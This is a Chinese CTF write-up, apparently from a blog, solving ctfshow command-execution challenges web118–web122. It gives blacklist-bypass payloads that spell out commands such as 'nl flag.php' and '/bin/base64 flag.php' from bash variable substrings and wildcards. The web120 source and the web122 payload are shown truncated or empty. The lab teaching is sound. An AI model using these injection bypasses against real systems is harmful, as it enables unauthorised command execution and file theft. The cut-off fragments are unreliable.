ctfshow-命令执行(web118-web122)

web118

是一个窗口 

ctfshow-命令执行(web118-web122)_第1张图片

查看源码 发现是system($code) 命令执行

经过测试禁用了很多东西 很多很多

$IFS可以 思路就是使用系统变量 构造我需要的poc

这些都是系统的环境变量

ctfshow-命令执行(web118-web122)_第2张图片

这是答案${PATH:~A}${PWD:~A}$IFS????.???

解释一下

PATH变量输出结尾一般都是n

因为网站默认根目录为/var/www/html 所以${PWD:~A}取值就是l

ctfshow-命令执行(web118-web122)_第3张图片

题目还提示flag在flag.php中

所以就是${PATH:~A}${PWD:~A}$IFS????.???

翻译过来就是 nl flag.php

注意 因果过滤了很多 如何判断过滤了哪些呢 写一个小字典把所有字符写出来 然后使用bp爆破 因为如果是过滤的页面就会返回evil input 否则什么都没有 这么一看数据包是有区别的 最后发现可以用发现可以用大写字母A-Z${}~.?:

web119

大师傅讲的我没有听懂 太难了根本理解不了

但是网上找的都好理解

首先看

linux bash内置变量表

第一种方法 

答案是

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

使用的方法是 /bin/base64 flag.php的方式

/使用${PWD::${#SHLVL}}构造

4使用${#RANDOM}构造 

因为RANDOM属于随机变量 输出4或者5 所以多提交几次即可

第二种方法

${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录

开始构造:可以构造一下/bin/cat
/:${PWD::${#SHLVL}}
a:${USER:~A}
t:${USER:~${#SHLVL}:${#SHLVL}}

构造出/bin/cat flag.php

答案是

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.???

web120

给出了源码


|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'; } else{ echo '
'.system($code).'
'; } } else{ echo '
evil input
'; } } ?>

使用上一题的payload即可 知识改为了POST 一个道理

web121

这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/和r字符,或者 v。

构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

解答:这次PWD被过滤了,但是HOME可以用了。

1)/可以通过HOME获取,需要数字1,但是#被过滤了。

$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用

这里要说一下,我看有一些wp写的$?返回值的内容是linux的error
code,并不是, ——$?返回数据具体都有什么,这个我没有查到。

2)这次可以用命令/bin/base64。因为,${RANDOM}可以出现4或5,可以构造/???/?????4。需要多试几次才能拿到flag。

payload:code=

多刷新几次

解码

ctfshow-命令执行(web118-web122)_第4张图片

你可能感兴趣的:(命令执行,CTFSHOW,前端,渗透测试,ctfshow,网络安全)